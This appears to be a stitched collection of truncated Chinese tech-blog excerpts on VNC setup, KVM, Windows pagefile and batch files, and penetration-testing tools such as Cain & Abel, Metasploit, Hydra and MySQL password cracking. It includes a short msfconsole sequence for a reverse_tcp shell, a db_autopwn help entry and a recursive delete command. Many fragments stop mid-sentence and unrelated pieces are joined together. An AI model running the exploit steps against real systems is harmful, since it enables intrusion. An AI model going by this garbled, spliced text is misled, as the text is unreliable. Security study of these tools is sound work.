VNC登录用户缺省是root,但在安装oracle时必须用oracle用户的身份登录,下面我们就以oracle为例说明如何配置VNC,从而可以使用不同的用户登录到主机.步骤描述如下:    步骤一:修改/etc/sysconfig/vncservers,添加oracle用户,修改后内容如下:        VNCSERVERS="1:root 2:root 3:oracle"        VNCSERVERARGS[1]="-geometry 1024x768" 

一,安装Linux桌面: yum -y groupinstall Desktop yum -y groupinstall "X Window System" yum -y groupinstall chinese-support vi /etc/sysconfig/i18n 将en_US改成zh_CN 二.安装VNCServer服务包: 1,安装VNCServer服务端软件包. #yum -y install vnc *vnc-server* 2,改动VNCServer主配置文件 #v

del /s /f /q C:\*.tmp

之前都是在用Linux 虚机,现在有需要用到Win7 虚机,才发现在 KVM 上安装 Win7 的过程远比想象中的复杂.本文就把其过程做个简单总结. 1. 在 Virtual Machine Manager 里面安装 首先尝试在 Virtual Machine Manager 里面安装.遇到的问题如下: (1)一直停留在 starting windows 界面. 解决方法:修改 video model 为 Cirrus,问题解决. (2)开始安装后,对鼠标和键盘无响应. google,发现需要使

首先安装tigervnc-server: yum install tigervnc-server 安装好后,设置 vi /etc/sysconfig/vncservers 'man vncpasswd' to see how # to do that. # # DO NOT RUN THIS SERVICE if your local area network is # untrusted! For a secure way of using VNC, see this URL: # https

虚拟内存的大小设置 虚拟内存的文件 pagefile.sys 一般在系统盘的根目录下,默认情况下会比较大.下面给出缩小设置方式. 我的电脑(鼠标右键)--属性--高级系统设置--切换到“高级”选项卡--性能选项的“设置--切换到“高级”选项卡--更改 (1)将自动管理所有驱动器的分页文件大小的勾取消. (2)驱动器选择C盘,在自定义大小中的初始大小定位1024,最大值定为2048. (3)点击设置,即可看到在驱动器C盘的右侧的分页文件大小以变为1024~2048,再点击确定即可. 最后重启计算机

Cain & Abel 是由Oxid.it开发的一个针对Microsoft操作系统的免费口令恢复工具.号称穷人使用的L0phtcrack.它的功能十分强大,可以网络嗅探,网络欺骗,破解加密口令.解码被打乱的口令.显示口令框.显示缓存口令和分析路由协议,甚至还可以监听内网中他人使用VOIP拨打电话. Abel 是后台服务程序,一般不会用到,我们重点来介绍Cain的使用. 方法/步骤   1 Cain安装:首先我们需要安装Winpcap驱动,一路next下去就可以安装成功了 2 然后我们就可以使用C

Cain & Abel 是由Oxid.it开发的一个针对Microsoft操作系统的免费口令恢复工具.号称穷人使用的L0phtcrack.它的功能十分强大,可以网络嗅探,网络欺骗,破解加密口令.解码被打乱的口令.显示口令框.显示缓存口令和分析路由协议,甚至还可以监听内网中他人使用VOIP拨打电话. CAIN 下有两个程序,一个是 CAIN 主程序,一个是 Abel服务程序.Abel 服务程序需要手 动 进 行 安 装 . 正 确 安 装 CAIN 后 从 CAIN 目 录 下 拷 贝 Abel.

目录一．名词解释···································································· 3二．msf基础··································································· 3三．信息探测与收集··························································· 4四．基本漏洞扫描··················

主动攻击的实践: ms17_010(成功) 浏览器攻击的实践:ms14_064(成功) 客户端攻击的实践:adobe reader PDF的攻击(成功) 运用辅助模块的实践:VNC弱口令破解/绕过(失败)RDP远程桌面漏洞(成功 )使用 wmap扫描(唯一) 一.msf的基本组成以及常用的指令介绍 msf的基本模块以及构成 在kali中msf的所在路径为usr/share/metasploit-framework/,在目录下有数据库文件,模块以及其他的msf组件 msfupdate可以更新版本

一．名词解释 exploit 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果.常见的 有内存溢出,网站程序漏洞利用,配置错误exploit. payload 我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器.payload 也可以是只 能在目标机器上执行有限命令的程序. shellcode 是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行

网络漏洞攻击工具 Metasploit 先msfupdate升级: 然后选择msfconsole: 接下来: set LHOST 本机IP地址 setLPORT setg PAYLOAD windows/shell/reverse_tcp setg RHOST 目标IP地址 setg port set target 随意数字 exploit 这样就可以反弹一个cmd shell了. 密码破解 Hydra 多samba,smb,ssh,smtp,telnet,mysql,ftp,vnc,icq,s

1.Nessus Nessus是免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上.它不仅能永久升级,还免费提供多达11000种插件(但需要注册并接受EULA-acceptance--终端用户授权协议).它的主要功能是远程或本地(已授权的)安全检查,客户端/服务器架构,GTK图形界面,内置脚本语言编译器,可以用其编写自定义插件,或用来阅读别人写的插件. 2.Wireshark Wireshark是一款非常棒的Unix和Windows上的开源网络协议分析器.它可以实时检测网络通讯数据,也可

最好用的开源Web漏洞扫描工具梳理 链接:www.freebuf.com/articles/web/155209.html 赛门铁克2017年互联网安全威胁报告中提出在他们今年扫描的网站中,有76%都含有恶意软件.如果你在用WordPress,SUCURI的另一份报告也显示,超过70%的被扫描网站也都存在一个或多个漏洞. 如果你刚好是某个网络应用程序的所有者,怎样才能保证你的网站是安全的.不会泄露敏感信息? 如果是基于云的安全解决方案,那么可能只需要进行常规漏扫.但如果不是,我们就必须执行例行扫

研究MySQL数据库的加解密方式,在网络攻防过程中具有重要的意义:试想一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库:一方面可以直接操作数据库中的数据,另一方面可以用来提升权限.本文对目前常见的MySQL密码破解方式进行了研究和讨论. 本文作者:simeon 1.MySQL数据库密码破解 MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取,例如asp代码

metasploit msfconsole 命令 msf > help db_autopwn Commands =================== Command Description ------- ----------- db_autopwn Automatically exploit everything Core Commands ============= Command Description ------- ----------- ? Help menu banner Dis

title date tags layout Metasploit 详解 2018-09-25 Metasploit post 一．名词解释 exploit 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果.常见的 有内存溢出,网站程序漏洞利用,配置错误exploit. payload 我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器.payload 也可以是只

收集域名信息 获得对象域名之后,需要收集域名的注册信息,包括该域名的DNS服务器信息和注册人的联系方式等. whois查询 对于中小型站点而言,域名所有人往往就是管理员,因此得到注册人的姓名和邮箱信息对测试个人站点非常有用. 还有一些在线whois网站: 爱站工具网: https://whois.aizhan.com/ 站长之家: http://whois.chinaz.com/ VirusTotal: https://www.virustotal.com/gui/home/ 备案信息查询 备案

写批处理文件,除了了解基本语法外,你还需要熟悉常用的windows命令,那就先看看这篇文章:windows常用命令 #重要说明 文件及目录路径:要使用反斜杠'\',不要使用正斜杠'/' 如:del d:\test2\file\my.txt文件及目录路径:若存在空格,应使用双引号将路径引起来 如:del "d:\program files\file\my.txt"文件及目录名中不能包含下列任何字符:\ / : * ? " < > | 0. 参数 bat批处理文件理论

root根用户登录在/root目录下#rpm -q vnc vnc-server查询已安装vnc的客户端和服务器端vnc-4.1.1-36vnc-server-4.1.1-36 #vi /etc/sysconfig/vncservers将developer用户名加入vncservers文件中如下所示:# VNCSERVERS="2:myusername"VNCSERVERS="2:developer"创建一个vnc的口令#vncpasswdPassword:Veri